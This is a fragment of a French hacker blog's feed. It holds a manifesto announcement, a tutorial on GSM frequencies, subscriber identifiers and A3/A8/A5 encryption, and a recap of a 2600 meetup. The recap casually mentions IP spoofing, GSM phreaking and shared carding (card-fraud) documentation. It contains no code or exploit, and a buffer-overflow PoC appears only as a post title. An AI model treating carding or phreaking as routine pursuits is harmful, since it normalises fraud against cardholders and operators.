&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Mv2z9zNGhbpzyLU_6BIROzdW56Q/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Mv2z9zNGhbpzyLU_6BIROzdW56Q/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Mv2z9zNGhbpzyLU_6BIROzdW56Q/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Mv2z9zNGhbpzyLU_6BIROzdW56Q/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/LsvM2-tb0xw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/2031252747726573377/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=2031252747726573377" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/2031252747726573377?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/2031252747726573377?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/LsvM2-tb0xw/scite-text-editor-local-bof.html" title="[*] Scite Text Editor 1.76 PoC : Local BoF vulnerability   ( 0 - Days )" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2010/07/scite-text-editor-local-bof.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcFQXozfip7ImA9WxNREEU.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-2693002880114716133</id><published>2009-09-03T22:12:00.000+02:00</published><updated>2009-09-04T18:50:10.486+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-04T18:50:10.486+02:00</app:edited><title>Manifeste pour la création d'une organisation hacker en France</title><content type="html">&lt;p style="color: rgb(204, 204, 204);"&gt;&lt;br /&gt;&lt;a href="http://www.dg-sc.org/Manifeste.txt"&gt;&lt;/a&gt; &lt;/p&gt;   &lt;p style="color: rgb(204, 204, 204);"&gt; "À lire et à diffuser partout (blogs, forums, réseaux sociaux, famille, collègues, amis, camarades de lutte militante, etc.).&lt;br /&gt;Nous avons  *besoin*  de retours, n'hésitez donc pas à critiquer et/ou à remettre en question."&lt;/p&gt;&lt;br /&gt;&lt;p style="color: rgb(204, 204, 204);"&gt;&lt;a href="http://www.dg-sc.org/Manifeste.pdf"&gt;Version pdf&lt;/a&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 204, 204);"&gt;&lt;a href="http://www.dg-sc.org/Manifeste.txt"&gt;Version .txt&lt;/a&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 204, 204);"&gt;Vous pouvez retrouver dg-sc sur SILC ( silc.dg-sc.org) ou sur leur &lt;a href="http://www.dg-sc.org/"&gt;site &lt;/a&gt;.&lt;/p&gt;&lt;p style="color: rgb(204, 204, 204);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="color: rgb(204, 204, 204);"&gt;C'est a travers ces quelques lignes que je vous annonces le come-back de dg-sc ainsi qu'une reprise d'activité de mon blog.&lt;/p&gt; &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="color: rgb(204, 204, 204);"&gt;J'en profite aussi pour vous donner un link:&lt;a href="http://3lrvs.tuxfamily.org/"&gt; celui de 3Lrvs&lt;/a&gt;.&lt;/p&gt; &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="color: rgb(204, 204, 204);"&gt;3Lrvs est un repository commun visant a héberger documentations diverses et codes sources,je vous invite a y jeter un oeil (bien qu'il vienne juste d'etre créé) afin de mieux cerner la chose.&lt;/p&gt; &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="color: rgb(204, 204, 204);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Bonne lecture a tous .&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-2693002880114716133?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/nTCiubJjiTqnY83ytkBKuOiCA9Y/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nTCiubJjiTqnY83ytkBKuOiCA9Y/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/nTCiubJjiTqnY83ytkBKuOiCA9Y/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nTCiubJjiTqnY83ytkBKuOiCA9Y/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/VnqTRBUEmLc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/2693002880114716133/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=2693002880114716133" title="7 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/2693002880114716133?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/2693002880114716133?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/VnqTRBUEmLc/manifeste-pour-la-creation-dune.html" title="Manifeste pour la création d'une organisation hacker en France" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>7</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2009/09/manifeste-pour-la-creation-dune.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEcHRHw6cSp7ImA9WxVbGUk.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-1970286046374690175</id><published>2009-04-05T16:32:00.000+02:00</published><updated>2009-04-05T16:33:55.219+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-05T16:33:55.219+02:00</app:edited><title>Résumé du 2600 Nîmes du Samedi 04 Avril</title><content type="html">&lt;span style="color: rgb(204, 204, 204);"&gt;Le rendez-vous avait lieu a 14h devant un centre commercial en centre ville le temp que tout le monde soit présent et hop , direction un petit bistro simpa pour lancer ce petit meet .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Les discussions se sont trés vite dirigées sur Hadopi avec une petite vidéo simpathique a l'appuis , l'actualité et les moyens alternatifs concernants le P2P (entre autre), l'avenir de freenet , silc  ...enfin , divers moyens de communications et partages sécurisés.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; Aprés quelques cafés, nous abordons l'insécurité de certains moyens de paiement en ligne puis au moment ou les bieres arrivent a notre table, retour sur l'anonymat avec une breve présentation sur l'ip spoofing via un petit utilitaire  .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; Viens ensuite l'architecture des réseaux de téléphonie mobile ,le phreaking gsm   nous poursuivons par Hebiko qui nous présente de la doc intéréssante sur le carding .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; De fil en aiguille les discours s'enchainent  , documents a l'appuis jusqu'a la fin de ce petit meet fort sympathique malgrés le petit comité présent (4personnes).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; Enfin ,nous nous  dirigeons vers la sortie avec un petit " au mois prochain " qui fait plaisir a entendre pour ce 2k6 Nîmois qui peu etre commencerait a prendre ? Espérons-le :-} .&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-1970286046374690175?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/snLW2akavbsLw9gQ9AcxXTuXOiU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/snLW2akavbsLw9gQ9AcxXTuXOiU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/snLW2akavbsLw9gQ9AcxXTuXOiU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/snLW2akavbsLw9gQ9AcxXTuXOiU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/bZSTBFzvPog" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/1970286046374690175/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=1970286046374690175" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/1970286046374690175?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/1970286046374690175?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/bZSTBFzvPog/resume-du-2600-nimes-du-samedi-04-avril.html" title="Résumé du 2600 Nîmes du Samedi 04 Avril" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2009/04/resume-du-2600-nimes-du-samedi-04-avril.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0UCR3s5cCp7ImA9WxVbFE8.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-5045601014470919654</id><published>2009-03-30T16:24:00.000+02:00</published><updated>2009-03-30T18:07:46.528+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-30T18:07:46.528+02:00</app:edited><title>Réseaux GSM : chapitre II</title><content type="html">&lt;div style="text-align: left; color: rgb(204, 204, 204);"&gt;Salut , me revoila , je poursuis mon aventure  ....&lt;br /&gt;&lt;br /&gt;Cette fois -ci nous allons nous  intérésser a des choses bien plus passionante (fallait bien avoir les bases avant quand meme , chaque choses en son temp :-P ).&lt;br /&gt;&lt;br /&gt;Allez , c'est reparti :&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(204, 204, 204);"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;[+] Etude simplifiée des fréquences de travail du GSM : &lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; Le systeme GSM/DCS utilise 2 fréquences :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;une autour des 900 MHz (GSM)  et l’autre autour de 1,8 GHz (DCS).&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; Chacune est elle meme divisée en 2 sous bandes servantent l’une pour le transfert d’informations entre le mobile et la station de base &lt;span style="color: rgb(255, 153, 102);"&gt;( voie montante )&lt;/span&gt; , et  l’autre pour la liaison entre la station de base et le mobile &lt;span style="color: rgb(255, 153, 102);"&gt;( voie descendante )&lt;/span&gt; :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;            &lt;span style="color: rgb(255, 0, 0);"&gt; # bande EGSM étendue&lt;/span&gt; ( bande de largeur totale 35 MHz )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                                     - de 880 à 915 MHz du mobile vers la base (voie montante)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                                     - de 925 à 960 MHz de la base vers le mobile (voie descendante)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                                     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 204);"&gt;                                     + écart entre les deux fréquences: 45 MHz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 204);"&gt;                                     - 174 canaux espacés de 200 kHz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                                     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                                     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;            &lt;span style="color: rgb(255, 0, 0);"&gt; # bande DCS&lt;/span&gt; ( bande de largeur totale 75 MHz )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                                     - de 1710 à 1785 MHz du mobile vers la base (voie montante)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                                     - de 1805 à 1880 MHz de la base vers le mobile (voie descendante)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                                     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                                     &lt;span style="color: rgb(255, 255, 153);"&gt;+ écart entre les deux fréquences: 95 MHz&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 153);"&gt;                                     - 374 canaux espacés de 200 kHz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(204, 204, 204);"&gt;L'utilisation de fréquences moins élevées augmenterait sensiblement la portée des stations de base.&lt;br /&gt;Ainsi en 450 MHz, leur portée serait près du double de ce qu'elle serait en 900 MHz.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; Ericsson et Nokia travaillent à la mise au point d'une norme GSM fonctionnant en 450 MHz ou en 480 MHz.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Dans la bande 450, les fréquences utilisées seraient 450,4 à 457,6 MHz pour les liaisons montantes (GSM vers station de base) et 460,4 à 467,6 MHz pour les liaisons descendantes.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Une BTS émet en permanence des informations sur son canal BCH (Broadcast Channel appelé aussi voie balise) constituant ainsi un lien permanent entre  mobile et station de base à partir de la mise en route du mobile jusqu’à sa mise hors service, qu’il soit en communication ou non.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(204, 204, 204);"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;[+] Adresssage , Confidentialité et Sécurité de la transmission sur la voie radio (interface Um):&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: right; color: rgb(204, 204, 204);"&gt;&lt;div style="text-align: center;"&gt;                       &lt;span style="color: rgb(51, 255, 51); font-style: italic;"&gt;-Pré-requis:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;1) I.M.S.I  :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;*&lt;/span&gt;Numéro (identité) d'abonné se trouvant dans la SIM d'une part et dans la HLR d'autre part (logique)&lt;br /&gt;IMSI n'est connu qu'a l'intérieur du réseau GSM et doit ( autant que possible) rester secrete (d'ou l'utilisation de TMSI).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;2) T.M.S.I :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;*&lt;/span&gt;Identifiant temporaire codé sur 4 Octets modifié a chaque changement de zone (gérer pas un VLR) .&lt;br /&gt;Le TMSI est utilisé pour identifier le mobile appelé ou appelant lors de l’établissement d’une communication .&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;3) M.S.I.S.D.N :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;*&lt;/span&gt;Numéro de l'abonné . C'est la seule donnée concernant l'identitée de l'abonné connu hors réseaux GSM .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt; 4) M.S.R.N :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;*&lt;/span&gt;Numéro attribué lors de l'établissement d'un appel permettant d'acheminer les appels via les commutateurs (MSC)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;5) I.M.E.I : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;*&lt;/span&gt;Numéro d'équipement mis en mémoire dans le portable a la fabrication , c'est donc l'identifiant de l'appareil .&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;L'IMSI est transmis a la mise sous tension du mobile afin d'éviter de l'emmettre fréquemment de cette maniere il est plus difficile de l'intercepter.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Une fois l'IMSI transmis , les TMSI successives du mobile seront transmises. Ce n’est qu’en cas de perte du TMSI ou lorsque le VLR courant ne la reconnaît pas (par exemple après une panne) que l’IMSI peut être retransmise.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;En cas d'echec lors de la vérification d'un de ces identifiants ,on interdit l'accés aux services.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;  L’allocation d’une nouvelle TMSI est faite au minimum à chaque changement de VLR, et suivant le choix de l’opérateur, à chaque intervention du mobile. Son envoi à la station mobile a lieu en mode chiffré . &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(204, 204, 204);"&gt; &lt;span style="color: rgb(102, 255, 153);"&gt;*&lt;/span&gt; &lt;span style="font-weight: bold; color: rgb(51, 255, 255);"&gt;Le chiffrement GSM sur la voie radio (interface Um):&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; Pour assurer la confidentialité de leurs abonnés , les opérateurs ont recours au éléments suivant :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; -Nombres aléatoire &lt;span style="color: rgb(255, 204, 102);"&gt;RAND&lt;/span&gt;&lt;span style="color: rgb(255, 204, 102);"&gt; (128 Bits&lt;/span&gt;&lt;/span&gt;)&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; -une clée appellée &lt;span style="color: rgb(255, 204, 102);"&gt;Ki&lt;/span&gt; (128 Bits) pour l'authentification et la création d'une seconde clée &lt;span style="color: rgb(255, 204, 102);"&gt;Kc&lt;/span&gt; ( en 64 Bits) (la clée Ki,stockée dans la carte SIM et dans l'AUC coté réseaux , est attribuée lors de l'abonnement avec l'IMSI)   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; -un algorithme &lt;span style="color: rgb(255, 204, 102);"&gt;A3&lt;/span&gt; fournissant le nombre &lt;span style="color: rgb(255, 204, 102);"&gt;SRES (32 Bits)&lt;/span&gt; à partir des arguments de RAND et de la clé Ki (contruction SRES)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; -un algorithme &lt;span style="color: rgb(255, 204, 102);"&gt;A8&lt;/span&gt; pour la détermination de la clé Kc à partir des arguments de RAND et Ki (construction clée Kc)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; -un algorithme &lt;span style="color: rgb(255, 204, 102);"&gt;A5&lt;/span&gt; pour le chiffrement / déchiffrement des données à partir de la clé Kc (chiffrement a proprement parlé)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;span style="font-style: italic;"&gt;Chaque abonné utilise une clé Ki propre. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204); font-style: italic;"&gt; Les algorithmes A3, A5 et A8 sont quant à eux les mêmes pour tous les abonnés d’un même réseau.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;-- Schéma Simplifié  -- &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify; color: rgb(204, 204, 204);"&gt;      &lt;span style="font-weight: bold; font-style: italic; color: rgb(255, 0, 0);"&gt;RAND(128Bits) -&gt;SRES=A3[Rand(128Bits),Ki(128Bits)] -&gt; Kc=A8[Rand(128Bits),Ki(128 Bits)] -&gt;      [N° de Trames  en 22 Bits, Clée Kc(64 Bits)]  -&gt;    Algorithme A5  -&gt;    Trames Chiffrées&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Le centre d’authentification (AUC) stocke ainsi :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; -l’algorithme d’authentification A3,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; -l’algorithme de génération de la clé de chiffrement A8 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; -les clés Ki des différents abonnés du réseau GSM.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Le HLR stocke les (Kc, RAND, SRES) pour chaque IMSI.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Dans le VLR les (Kc, RAND, SRES) sont enregistrés pour chaque IMSI avec les couples TMSI - IMSI .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;La BTS quand a elle ,stocke l’algorithme de chiffrement A5 pour les données usager et pour les données de signalisation.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(204, 204, 204);"&gt;  &lt;span style="font-style: italic; color: rgb(255, 255, 255);"&gt;La station mobile (MS) quand a elle , contient dans la carte SIM de l’abonné : l’algorithme d’authentification A3, l’algorithme de chiffrement A5, l’algorithme de génération des clés de chiffrements A8, la clé d’authentification individuelle de l’utilisateur Ki, la clé de chiffrement Kc, le numéro de séquence de la clé de chiffrement et le TMSI. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Voila actuellement ou j'en suis , je pense que  maintenant il commence a y avoir matière a réflexions et par conséquent je vous donne rendez-vous ici d'ici quelques temps pour de nouvelles aventures qui j'espère vous plaisent et vous permettent autant qu'a moi de découvrir de nouvelles choses .&lt;br /&gt;&lt;br /&gt;Cya  \o&gt;&lt;br /&gt;&lt;br /&gt;Liens utiles:&lt;br /&gt;&lt;a href="http://fr.wikipedia.org/wiki/A5/1"&gt;http://fr.wikipedia.org/wiki/A5/1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://internetmobile.falorni.fr/publications/securite-architecture-gsm/"&gt;http://internetmobile.falorni.fr/publications/securite-architecture-gsm/&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-5045601014470919654?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vbYLQBCRjCgAT6qK4LrRkLleGO4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vbYLQBCRjCgAT6qK4LrRkLleGO4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vbYLQBCRjCgAT6qK4LrRkLleGO4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vbYLQBCRjCgAT6qK4LrRkLleGO4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/obYBDteaMFY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/5045601014470919654/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=5045601014470919654" title="1 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/5045601014470919654?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/5045601014470919654?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/obYBDteaMFY/reseaux-gsm-chapitre-ii.html" title="Réseaux GSM : chapitre II" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" 